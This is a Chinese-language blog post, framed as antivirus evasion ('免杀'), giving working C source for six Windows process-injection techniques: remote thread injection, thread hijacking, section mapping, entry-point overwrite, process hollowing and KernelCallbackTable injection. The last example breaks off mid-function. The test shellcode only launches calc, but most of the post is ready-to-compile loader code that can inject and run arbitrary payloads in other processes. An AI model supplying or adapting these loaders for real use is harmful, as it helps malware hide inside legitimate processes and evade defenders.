免杀 | 6种进程注入的方式

文摘   2024-11-05 10:19   上海  

注入方式

根据各阶段调用的API,读写的内存位置的区别进行 如下分类(实战中常用的 6 种):

1、远程线程注入

image-20230410210651326

原始的注入手法。通过API申请空间,然后将code写入内存,然后创建线程执行。这种手法基本会被监控,但是报毒与否就再说了。

流程

打开进程 ---》申请空间 ---》写入shellcode ---》创建线程执行

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0, wpid);
    LPVOID IpBaseAddress=VirtualAllocEx(hProcess,0,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//将shellcode写入内存
WriteProcessMemory(hProcess,IpBaseAddress, shellcode,sizeof(shellcode),NULL);
//创建线程执行shellcode
CreateRemoteThread(hProcess,0,100,(LPTHREAD_START_ROUTINE)IpBaseAddress,0,0,NULL);

实现代码

#include<stdio.h>
#include<windows.h>
#include<stdlib.h>

unsignedchar shellcode[]="\x55\x89\xE5\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8\xA0\x12\x86\x76\xFF\xD0\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xF0\xE1\x89\x76\xFF\xD0\x33\xC0\x50\xB8\x80\x59\x86\x76\xFF\xD0\x90\x90\xC3";

intmain()
{
//计算器的进程号,准备注入他的进程
int wpid =3632;

//打开一个进程,后面指定PID
    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS,0, wpid);
printf("%d\n", hProcess);

//申请内存空间,最后赋予空间权限
    LPVOID IpBaseAddress=VirtualAllocEx(hProcess,0,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf("IpBaseAddress : %p\n",IpBaseAddress);

//将shellcode写入内存
WriteProcessMemory(hProcess,IpBaseAddress, shellcode,sizeof(shellcode),NULL);
printf("WriteProcess\n");

//创建线程执行shellcode
CreateRemoteThread(hProcess,0,100,(LPTHREAD_START_ROUTINE)IpBaseAddress,0,0,NULL);
return0;
}

动态验证

image-20221008192501725

VirtualAllocEx申请内存之后返回的地址,在内存中查看,可以看到一段全空空间。

image-20221008192715235

在内存布局中查看,有一段ERW权限的申请出来的空间,大小是0x1000.

通过WriteProcessAddress函数将shellcode写进去,就可以在空间中看到写进去的code

image-20221008193043277

但是这里通过内存查看,返现写进去的东西有点奇怪,和自己想的不一样。

因为\\x就不是16进制的数字了。而且\xxx这个特殊的字符是不被允许的,找了好久才发现这个问题

image-20221008193659736

这个 方式可以动态的调试shellcode

2、线程劫持注入

image-20230410210710568

就是劫持一个线程进行注入,然后再恢复这个线程,就像是荆轲刺秦你迷晕了荆轲换了他的地图,再叫醒他去刺杀秦王一样,这个换了的地图就是shellcode。

流程

挂起目标线程,申请内存,写入shellcode,修改线程上下文使其指向shellcode,恢复线程执行shellcode

需要注意的是,这里需要先创建一个进程,而不是直接打开现存的进程。因为需要一个挂起状态

代码

#include <Windows.h>
#include <stdio.h>

voidshowstruct(PROCESS_INFORMATION pii)
{
printf("\ndwProcessId: %d\n", pii.dwProcessId);
printf("dwThreadId: %d\n", pii.dwThreadId);
// Handle,也叫句柄,实际上是一个数据,是一个Long (整长型)的数据,是一种指向指针的指针。
printf("hProcess: 0x%p\n", pii.hProcess);
printf("hThread: 0x%p\n", pii.hThread);
printf("===============================================================================\n");
}

intmain()
{
// 定义两个进程相关的结构体变量,都是内置结构体,可以直接定义,然后初始化为0
    STARTUPINFO si ={0};
    PROCESS_INFORMATION pi ={0};
/*
    typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;
    HANDLE hThread;
    DWORD dwProcessId;
    DWORD dwThreadId;
  } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
    */


// 创建一个名称为notepad。exe的进程,不用从父进程继承,创建之后状态为挂起,并且将信息赋值给si和pi
if(!CreateProcess(NULL,"notepad.exe",NULL,NULL, FALSE, CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
printf("Create process failed error code: %d\n",(int)GetLastError());
return1;
}

// 根据进程id打开进程
    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
if(hProcess ==NULL)
{
printf("Open process failed error code: %d\n",(int)GetLastError());
return1;
}

// Shellcode,这里为了证明确实执行了,所以直接通过中断来验证
char shellcode[]="\xcc\xcc\xB8\x01\x00\x00\x00\xC3";

// 利用api挂起进程
SuspendThread(pi.hThread);

// 申请一个目标进程中的内存区域
    LPVOID lpBuffer =VirtualAllocEx(hProcess,NULL,sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(lpBuffer ==NULL)
{
printf("Virtual alloc failed error code :%d\n",(int)GetLastError());
return1;
}
// 显示出来申请区域的地址,方便调试的时候找
printf("shellcode address is : %p\n", lpBuffer);

// 将shellcode写进去,和远程进程注入一样
if(!WriteProcessMemory(hProcess, lpBuffer, shellcode,sizeof(shellcode),NULL))
{
printf("Write process memory failed error code:%d\n",(int)GetLastError());
return1;
}

// 设置线程的上下文环境,让ip寄存器直接跳转
    CONTEXT ctx ={0};
    ctx.ContextFlags= CONTEXT_ALL;
if(!GetThreadContext(pi.hThread,&ctx))
{
printf("GetThreadContext failed error code :%d\n",(int)GetLastError());
return1;
}
// 设置ip寄存器直接指向那块地址
    ctx.Rip=(DWORD64)lpBuffer;

// 设置保存线程环境
if(!SetThreadContext(pi.hThread,&ctx))
{
printf("SetThreadContext failed error code :%d\n",(int)GetLastError());
return1;
}

// 恢复线程环境,这时就可以执行shellcode了
if(ResumeThread(pi.hThread)==-1)
{
printf("ResumeThread failed error code :%d\n",(int)GetLastError());
return1;
}

// 等待目标进程结束(这里可以直接从任务管理器关闭)
WaitForSingleObject(pi.hProcess, INFINITE);

// 清理恢复句柄释放空间
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return0;
}

经过验证发现是成功的,可以执行到shellcode的位置。但是缺点就是执行会创建一个新的线程,虽然在挂起的状态下前端不会有什么显示,但是还是不巧妙。

以上的方法属于是同一类,仅仅是执行的方式不同,下面通过更换申请内存的方式来进行注入。

3、映射注入

image-20230410210734058

就是通过在内存中申请一块公共内存,然后将这块内存映射到注入程序和被注入程序,这样需要修改shellcode的时候仅需要在注入程序中修改,就可以同时映射到被注入内存中。

image-20230201145854913

这种注入方式规避了VirtualAllocExWriteProcessMemory这些写内存的敏感函数的检测,所以该方法一般被用来当作是一种写shellcode的方式,和其他的执行方式相结合

但是在分享的时候没有给出具体的代码,只给出了零碎的一些片段

// 创建一个内存区域,并且读写执行权限
NtCreateSection(&sectionHandle, SECTION_MAP_READ|SECTION_MAP_WRITE|SECTION_MAP_EXECUTE,NULL,(PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT,NULL);
// 将这块内存区域映射到注入进程中
NtMapViewOfSection(sectionHandle,GetCurrentProcess(),&localSectionAddress,NULL,NULL,NULL,&size,2,NULL, PAGE_READWRITE);
// 将shellcode复制到内存区域
memcpy(localSectionAddress, shellcode,sizeof(shellcode));
// 创建远程线程执行
RtCreateUserThread(targetHandle,NULL, FALSE,0,0,0, remoteSectionAddress,NULL,&targetThreadHandle,NULL);

NtCreateSection

NtCreateSection(
&sectionHandle,     // 接收节对象的句柄的 HANDLE 变量的指针
SECTION_MAP_READ|SECTION_MAP_WRITE|SECTION_MAP_EXECUTE, // 确定对对象的请求访问权限
NULL,                            // 不使用文件映像,而是创建一个空的内存区域。
(PLARGE_INTEGER)&sectionSize,     // 指定节的最大大小(以字节为单位)
PAGE_EXECUTE_READWRITE,         // 指定要在节中的每个页面上放置的保护
SEC_COMMIT,                     // 分配属性的 SEC_XXX 标志的位掩码
NULL);                            // 不适用额外的文件句柄。

NtMapViewOfSection

这是一个未公开的api函数,这个函数在用户态下执行,而且不会被判断异常

NtMapViewOfSection(
sectionHandle,// 要映射的内存区域的句柄。
GetCurrentProcess(),// 指定要映射到内存的句柄(这里就是自己的线程)
&localSectionAddress,// 用于接收映射到当前进程中的内存区域的起始地址。
NULL,// 不指定映射到当前进程中的起始地址
NULL,// 不指定映射到当前进程中的内存区域的大小
NULL,// 不指定内存区域的偏移量。
&size,// 用于接收内存区域的大小。
2,// 指定内存区域的类型,2 表示映射到当前进程的内存地址空间。
NULL,// 表示不指定任何额外的信息
PAGE_READWRITE);        // 内存页的保护模式,表示该内存页可读、可写。

这个函数的定义来自chatgpt,很佩服啊

RtlCreateUserThread

这个函数需要引用ntdll.lib,但是仅限于x64的程序

RtCreateUserThread(
targetHandle,// 指定要注入的进程的句柄
NULL,// 不指定线程的安全标志
FALSE,// 指定线程是否独占,FALSE 表示不独占
0,// 线程栈的大小,0表示默认的大小
0,// 线程的优先级,0表示默认
0,// 线程的初始挂起状态,0 表示线程在创建后立即开始执行
remoteSectionAddress,// 指定要执行的 shellcode 的起始地址,该地址在注入进程中
NULL,// 表示不指定线程的线程函数的参数
&targetThreadHandle,// 用于接收新创建的线程的句柄
NULL);                    // 表示不接收线程的创建时间

测试的shellcode,还是弹出一个计算器的功能,仅限于32位的程序

unsigned char shellcode[] = "\x55\x89\xE5\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8\xA0\x12\xC4\x76\xFF\xD0\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xF0\xE1\xC7\x76\xFF\xD0\x33\xC0\x50\xB8\x80\x59\xC4\x76\xFF\xD0\x90\x90\xC3";

代码实现

参考:https://idiotc4t.com/code-and-dll-process-injection/mapping-injection

#include<stdio.h>
#include<windows.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment (lib, "OneCore.lib")

unsignedchar shellcode[]="\x55\x89\xE5\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8\xA0\x12\xC4\x76\xFF\xD0\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xF0\xE1\xC7\x76\xFF\xD0\x33\xC0\x50\xB8\x80\x59\xC4\x76\xFF\xD0\x90\x90\xC3";

intmain()
{
    HANDLE hMapping =CreateFileMapping(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,sizeof(shellcode),NULL);
if(hMapping ==0)
return0;

    LPVOID lpMapAddress =MapViewOfFile(hMapping, FILE_MAP_WRITE,0,0,sizeof(shellcode));
if(lpMapAddress ==0)
return0;

memcpy((PVOID)lpMapAddress, shellcode,sizeof(shellcode));

    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE,22508);
// 打开句柄为25032的进程,并返回句柄。PROCESS_ALL_ACCESS表示需要完全访问权限。

    LPVOID lpMapAddressRemote =MapViewOfFile2(hMapping, hProcess,0,NULL,0,0, PAGE_EXECUTE_READ);
// 将映射对象映射到句柄为hProcess的进程的地址空间,以便在该进程中执行代码。PAGE_EXECUTE_READ表示需要执行和读取权限。
    HANDLE hRemoteThread =CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpMapAddressRemote,NULL,0,NULL);
/*下面的代码仅适合于64位的程序
    HANDLE hThread = NULL;
    LPVOID lpParameter = NULL;
    RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, lpMapAddress, lpParameter, &hThread, NULL);
    */

UnmapViewOfFile(lpMapAddress);
CloseHandle(hMapping);
return0;
}

4、覆盖入口点注入

image-20230410210755913

在创建进程的时候,直接将进程的入口点的代码更改为shellcode,最后恢复挂起的主线程;缺点是为了达到线程开始挂起的状态,只能通过创建的方式进行,不能通过打开现有进程的方式执行。

流程

创建进程后挂起进程,通过PE文件结构找到入口点,将shellcode直接写入进程的入口点,然后恢复线程。

整个流程类似于线程劫持注入的过程,只不过这里是直接覆盖了入口点的代码。

关键函数:函数具体参考定义)

__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,    //要检索其信息的进程的句柄。
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
[in] ProcessInformationClass

要检索的进程信息的类型。 此参数可以是 PROCESSINFOCLASS 枚举中的以下值之一。

Value含义
ProcessBasicInformation0检索指向 PEB 结构的指针,该结构可用于确定是否正在调试指定的进程,以及系统用于标识指定进程的唯一值。使用 CheckRemoteDebuggerPresent 和 GetProcessId 函数获取此信息。
ProcessDebugPort7检索一个 DWORD_PTR 值,该值是进程的调试器的端口号。 非零值指示进程在环 3 调试器的控制下运行。使用 CheckRemoteDebuggerPresent 或 IsDebuggerPresent 函数。
ProcessWow64Information26确定进程是否在 WOW64 环境中运行, (WOW64 是 x86 模拟器,它允许基于 Win32 的应用程序在 64 位 Windows) 上运行。使用 IsWow64Process2 函数获取此信息。
ProcessImageFileName27检索包含进程映像文件名称的 UNICODE_STRING 值。使用 QueryFullProcessImageName 或 GetProcessImageFileName 函数获取此信息。
ProcessBreakOnTermination29检索一个 ULONG 值,该值指示进程是否被视为关键。注意 此值可以在 Windows XP 和 SP3 中使用。 从 Windows 8.1 开始,应改用 IsProcessCritical
ProcessSubsystemInformation75检索指示进程的子系统类型的 SUBSYSTEM_INFORMATION_TYPE 值。 ProcessInformation 参数指向的缓冲区应足够大,可以容纳单个SUBSYSTEM_INFORMATION_TYPE枚举。

找到入口点

利用PEB结构找到里面的PebBaseAddress项,定位到内存中的pe文件的头,就是MZ的位置。然后通过DOS头里的e_lfanew项的值,定位到NT头就是PE的位置,然后找到可选头,直接获得里面的程序入口点+imageBase

写入代码

通过WriteProcessMemory直接把shellcode写入上述计算出来的函数的入口点的地址指向的地方。

执行

通过ResumeThread函数直接执行,或者利用CreateRemoteThread函数来执行

实现代码

#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>

// 32bit
unsignedchar shellcode[]="\xcc\xc3\x55\x89\xE5\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8"
"\xA0\x12\xed\x76"
"\xFF\xD0\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8"
"\xF0\xE1\xF0\x76"
"\xFF\xD0\x33\xC0\x50\xB8"
"\x80\x59\xed\x76"
"\xFF\xD0\x90\x90\xC3";
// 64bit
unsignedchar shellcode64[]="\xcc\xc3\x55\x48\x8B\xEC\x90\xC7\x04\x24\x2E\x64\x6C\x6C\xC7\x44\x24\xFC\x65\x6C\x33\x32\xC7\x44\x24\xF8\x6B\x65\x72\x6E\x48\x8B\xCC\x90\x90\x48\xB8"
"\xA0\x8C\xC7\xA7\xFE\x7F\x00\x00"
"\xFF\xD0\xBA\x05\x00\x00\x00\xC7\x04\x24\x65\x78\x65\x2E\xC7\x44\x24\xFC\x63\x6C\x61\x63\xC7\x44\x24\xF8\x00\x00\x00\x00\x48\x8B\xCC\x90\x48\xB8"
"\xD0\x77\x41\xA8\xFE\x7F\x00\x00"
"\x90\x90\x90\xC3";

typedefstruct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PVOID PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

typedefLONG(NTAPI* NtQueryInformationProcessPtr)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );

intmain()
{
// NtQueryInformationProcess api在ntdll里,属于未公开的函数,所以需要动态调用
    HMODULE hNtdll =LoadLibraryA("ntdll.dll");
if(hNtdll ==NULL)
{
printf("无法加载 ntdll.dll 库\n");
return1;
}

// 设置启动信息和进程信息,保留在结构体里,方便后续操作
    STARTUPINFO si ={sizeof(si)};
    PROCESS_INFORMATION pi ={0};

// 因为需要一个挂起状态的进程,所以需要Create,而不能Open,而且需要执行入口点,所以只能创建
if(!CreateProcessA(NULL,(LPSTR)"C:\\Windows\\System32\\svchost.exe",NULL,NULL, FALSE, CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
printf("CreateProcessA 失败,错误码 %lu\n",GetLastError());
return1;
}

NtQueryInformationProcessPtrNtQueryInformationProcess=(NtQueryInformationProcessPtr)GetProcAddress(hNtdll,"NtQueryInformationProcess");
//find base addr by peb
    PROCESS_BASIC_INFORMATION pbi;
    ULONG ReturnLength;
    NTSTATUS status =NtQueryInformationProcess(pi.hProcess,0,&pbi,sizeof(pbi),&ReturnLength);
if(status !=0)
{
printf("NtQueryInformationProcess 失败,错误码 %lu\n", status);
return1;
}
// peb offset
    DWORD_PTR pef_offset =(DWORD_PTR)pbi.PebBaseAddress+0x10;

    LPVOID imagebase_addr =0;
if(!ReadProcessMemory(pi.hProcess,(LPVOID)pef_offset,&imagebase_addr,sizeof(LPVOID),NULL))
{
printf("读取目标进程的Peb结构体失败,错误码 %lu\n",GetLastError());
return1;
}
// MZ address
printf("imagebase_addr: 0x%p", imagebase_addr);
//(EntryPoint)
// dos header
    IMAGE_DOS_HEADER dosHeader ={0};
if(!ReadProcessMemory(pi.hProcess, imagebase_addr,&dosHeader,sizeof(dosHeader),NULL))
{
printf("读取目标进程的DOS头失败,错误码 %lu\n",GetLastError());
return1;
}

// nt header
// 这里需要定义一个结构体,用PIMAGE_NT_HEADERS定义的话默认定义了一个类型的指针但是并没有开辟内存空间,所以会报错
    IMAGE_NT_HEADERS ntHeader ={0};
    DWORD nt_offset = dosHeader.e_lfanew;
// 定位到nt头的位置
if(!ReadProcessMemory(pi.hProcess,(LPVOID)((DWORD_PTR)imagebase_addr + nt_offset),&ntHeader,sizeof(ntHeader),NULL))
{
printf("读取目标进程的NT头失败,错误码 %lu\n",GetLastError());
return1;
}
// 找到可选头里的入口偏移,然后算EntryPoint的真实地址
    LPVOID entry_point =(LPVOID)(ntHeader.OptionalHeader.AddressOfEntryPoint+(DWORD_PTR)imagebase_addr);

// 将入口点的代码覆盖掉
if(!WriteProcessMemory(pi.hProcess, entry_point, shellcode64,sizeof(shellcode64),NULL))
{
printf("修改进程入口点代码失败,错误码 %lu\n",GetLastError());
}

// 恢复主线程执行
ResumeThread(pi.hThread);

WaitForSingleObject(pi.hProcess, INFINITE);

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return0;
}

5、傀儡进程

image-20230410210815281

根据统计这是比较经典的进程注入的方式,所以被很多的恶意软件和APT组织所使用,所以导致目前主流的杀毒软件和沙箱都对他有很完善的检查策略,所以基本没有什么实际的用处了。

流程

创建一个挂起的进程,然后将该进程的内存映射取消掉,换成shellcode或者payload这些代码,然后再恢复进程运行状态

挂起进程

通过创建的方式创建一个挂起状态的进程,和之前的几个一个套路

取消映射

利用 NtUnmapViewOfSection来取消原来的映射,并利用VirtualAllocEx函数申请内存区域。

重新申请

利用VirtualAllocEx重新申请一块空间,然后把准备好的东西写进去

设置PEB

重新写PEB里的base address【64->RDX】并设置好RCX寄存器(64位)

恢复执行

直接resume就行了(不要注入svchost)

实现代码

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

typedefLONG(NTAPI* NtUnMapViewOfSectionPtr)(HANDLE hProcess, PVOID  BaseAddress);

typedefstruct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PVOID PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

typedefLONG(NTAPI* NtQueryInformationProcessPtr)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );


intmain(int argc, char* argv[])

{
// 准备要往里面替换的进程,一定要使用完整目录
    LPCSTR file_path ="E:\\信息安全知识学习\\ProcessThread注入\\进程注入学习代码\\傀儡进程注入\\x64\\Debug\\injected.exe";
    HANDLE hFile =CreateFileA(file_path, GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
printf("Open EXE File Failed error code: %d",GetLastError());
return1;
}
    DWORD dwFileSize =GetFileSize(hFile,NULL);
    PBYTE pBuf =(PBYTE)malloc(dwFileSize);

    DWORD dwBytesRead =0;
if(!ReadFile(hFile, pBuf, dwFileSize,&dwBytesRead,NULL))
{
printf("ReadFile Failed error code: %d",GetLastError());
CloseHandle(hFile);
free(pBuf);
return1;
}
// 得到主要运行内容的dos和nt头
    PIMAGE_DOS_HEADER pDosHeader =(PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders =(PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew);


//2.获取进程上下文 : 第一步:创建傀儡进程外壳,设置挂起状态,保存上下文信息
    STARTUPINFO si ={sizeof(si)};
    PROCESS_INFORMATION pi ={0};
if(!CreateProcessA(NULL,(LPSTR)"E:\\信息安全知识学习\\ProcessThread注入\\进程注入学习代码\\傀儡进程注入\\x64\\father.exe",NULL,NULL, FALSE, CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
printf("CreateProcessA 失败,错误码 %lu\n",GetLastError());
return1;
}

    CONTEXT ctx;
    ctx.ContextFlags= CONTEXT_FULL;
if(GetThreadContext(pi.hThread,&ctx)==0)
{
printf("CreateProcess failed %d\n",GetLastError());
return1;
}

//3.清空目标进程 : 第二步:取消原先的进程的内存
    HMODULE hNtdll =LoadLibraryA("ntdll.dll");
if(hNtdll ==NULL)
{
printf("无法加载 ntdll.dll 库\n");
return1;
}
NtUnMapViewOfSectionPtrNtUnMapViewOfSection=(NtUnMapViewOfSectionPtr)GetProcAddress(hNtdll,"NtUnmapViewOfSection");
    LPVOID dwProcessBaseAddr =0;
// 获取目标进程的base address, 然后将他的内存取消注册
// context.Ecx = 基地址的地址,因此从context.Ebx + 8的地址读取4字节的内容并转化为DWORD类型,既是进程加载的基地址
if(!ReadProcessMemory(pi.hProcess,(LPCVOID)ctx.Rcx,&dwProcessBaseAddr,sizeof(PVOID),NULL))
{
printf("ReadProcessMemory failed  %lu\n",GetLastError());
return1;
}
// 通过x64dbg看到确实可以
NtUnMapViewOfSection(pi.hProcess,(LPCVOID)ctx.Rcx);

//4.重新分配空间
    LPVOID lpAddr =VirtualAllocEx(pi.hProcess,(LPVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//用Imagebase为起始地址避免了重定位。
if(lpAddr ==NULL)
{
printf("VirtualAlloc failed %d\n",GetLastError());
return1;
}

//5.写入傀儡进程
// 替换PE头
// 这里在内存中开辟的40000的空间写入了被注入程序的所有的头,节区留着后面写
if(!WriteProcessMemory(pi.hProcess, lpAddr,(LPCVOID)pBuf, pNtHeaders->OptionalHeader.SizeOfHeaders,NULL))
{
printf("WriteProcessMemory error code : %d\n",GetLastError());
return1;
}
// 替换节
// 将地址seek到节区头开始
    DWORD nt_size =sizeof(IMAGE_NT_HEADERS);
longlong tmp =(pBuf + pDosHeader->e_lfanew);
    LPVOID lpSectionBaseAddr =(LPVOID)(tmp + nt_size);
    PIMAGE_SECTION_HEADER pSectionHeader;
for(DWORD dwIndex =0; dwIndex < pNtHeaders->FileHeader.NumberOfSections;++dwIndex)
{
        pSectionHeader =(PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
// 句柄,要写入进程的地址,指向本程序的要往外写的内容的地址
        LPVOID RemoteProcess_address=(LPVOID)((BYTE*)lpAddr + pSectionHeader->VirtualAddress);
        LPVOID LocalProcess_address=(LPCVOID)(pBuf + pSectionHeader->PointerToRawData);
if(!WriteProcessMemory(pi.hProcess,RemoteProcess_address,LocalProcess_address, pSectionHeader->SizeOfRawData,NULL))
{
printf("WriteProcessMemory error code : %d\n",GetLastError());
return1;
}
        lpSectionBaseAddr =(LPVOID)((BYTE*)lpSectionBaseAddr +sizeof(IMAGE_SECTION_HEADER));
}
//6.恢复现场并运行傀儡进程
// 替换PEB中基地址
    DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;

// 另一种修改peb的方式
/*
    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    //find base addr by peb
    PROCESS_BASIC_INFORMATION pbi;
    ULONG ReturnLength;
    NTSTATUS status = NtQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(pbi), &ReturnLength);
    if (status != 0)
    {
        printf("NtQueryInformationProcess 失败,错误码 %lu\n", status);
        return 1;
    }
    // peb offset
    DWORD_PTR pef_offset = (DWORD_PTR)pbi.PebBaseAddress;

    // 修改peb结构体中的baseaddress的值
    if (!WriteProcessMemory(pi.hProcess, (LPVOID)((BYTE*)pef_offset+0x10), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL))
    {
        printf("WriteProcessMemory error code : %d\n", GetLastError());
        return 1;
    }
    */

// 另一种修改peb的方式 rdx保留了peb的baseaddr, 不要使用(LPCVOID)&dwImageBase,会造成高地址全是cc
//WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
if(!WriteProcessMemory(pi.hProcess,(LPVOID)((ctx.Rdx)+0x10),&pNtHeaders->OptionalHeader.ImageBase,sizeof(PVOID),NULL))
{
printf("WriteProcessMemory error code : %d\n",GetLastError());
return1;
}

// 替换入口点 64 -> rcx; 32 -> eax
//ctx.Rcx = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;

    ctx.Rcx=(SIZE_T)((LPBYTE)pNtHeaders->OptionalHeader.ImageBase+ pNtHeaders->OptionalHeader.AddressOfEntryPoint);
if(!SetThreadContext(pi.hThread,&ctx))
{
printf("SetThreadContext failed : %d\n",GetLastError());
return1;
}

//CreateRemoteThread(pi.hThread, 0, 0, (LPTHREAD_START_ROUTINE)(dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint), 0, 0, NULL);
ResumeThread(pi.hThread);
free(pBuf);
return0;
}

思路简单,就是写起来比较麻烦,但是可以直接注入整个exe文件,比较方便,查杀率高的一逼

6、消息回调注入

image-20230410210835238

通过修改PEB表中的特定消息回调函数的指针使其指向shellcode,然后再向该进程发送消息,触发shellcode执行。SendMessage函数来发送消息进行shellcode的触发。

先用windbg看一下PEB的结构, attach一个进程,然后

!peb
# 定位到kct的地址
dps addr L100
# 查看kct的具体内容
image-20230312154113197

老多内容了。

流程

找到目标进程句柄,找到peb地址,定位KernelCallBackTable表(kct表),然后申请内存空间写入shellcode

定位peb

定位kct

申请shellcode空间

创建新的kct

将新的kct的里面的某一个消息回调的地址进行设置为shellcode

更新kct

触发shellcode

实现代码

#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
#include "struct.h"

// https://github.com/capt-meelo/KernelCallbackTable-Injection/blob/master/KCT.cpp
// http://hacky.ren/2022/04/23/%E7%BB%BF%E7%9B%9F%E7%A7%91%E6%8A%80-%E6%AF%8F%E5%91%A8%E8%93%9D%E5%86%9B%E6%8A%80%E6%9C%AF%E6%8E%A8%E9%80%81%EF%BC%882022.4.16-4.22%EF%BC%89/

// 32bit
unsignedchar shellcode[]="\xcc\xc3\x55\x89\xE5\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8"
"\xA0\x12\xed\x76"
"\xFF\xD0\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8"
"\xF0\xE1\xF0\x76"
"\xFF\xD0\x33\xC0\x50\xB8"
"\x80\x59\xed\x76"
"\xFF\xD0\x90\x90\xC3";
// 64bit
unsignedchar shellcode64[]="\xcc\xc3\x55\x48\x8B\xEC\x90\xC7\x04\x24\x2E\x64\x6C\x6C\xC7\x44\x24\xFC\x65\x6C\x33\x32\xC7\x44\x24\xF8\x6B\x65\x72\x6E\x48\x8B\xCC\x90\x90\x48\xB8"
"\xA0\x8C\xC7\xA7\xFE\x7F\x00\x00"
"\xFF\xD0\xBA\x05\x00\x00\x00\xC7\x04\x24\x65\x78\x65\x2E\xC7\x44\x24\xFC\x63\x6C\x61\x63\xC7\x44\x24\xF8\x00\x00\x00\x00\x48\x8B\xCC\x90\x48\xB8"
"\xD0\x77\x41\xA8\xFE\x7F\x00\x00"
"\x90\x90\x90\xC3";

/*
typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PVOID PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
*/


typedefLONG(NTAPI* NtQueryInformationProcessPtr)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );



intmain()
{
    STARTUPINFO si ={sizeof(si)};
    PROCESS_INFORMATION pi ={0};

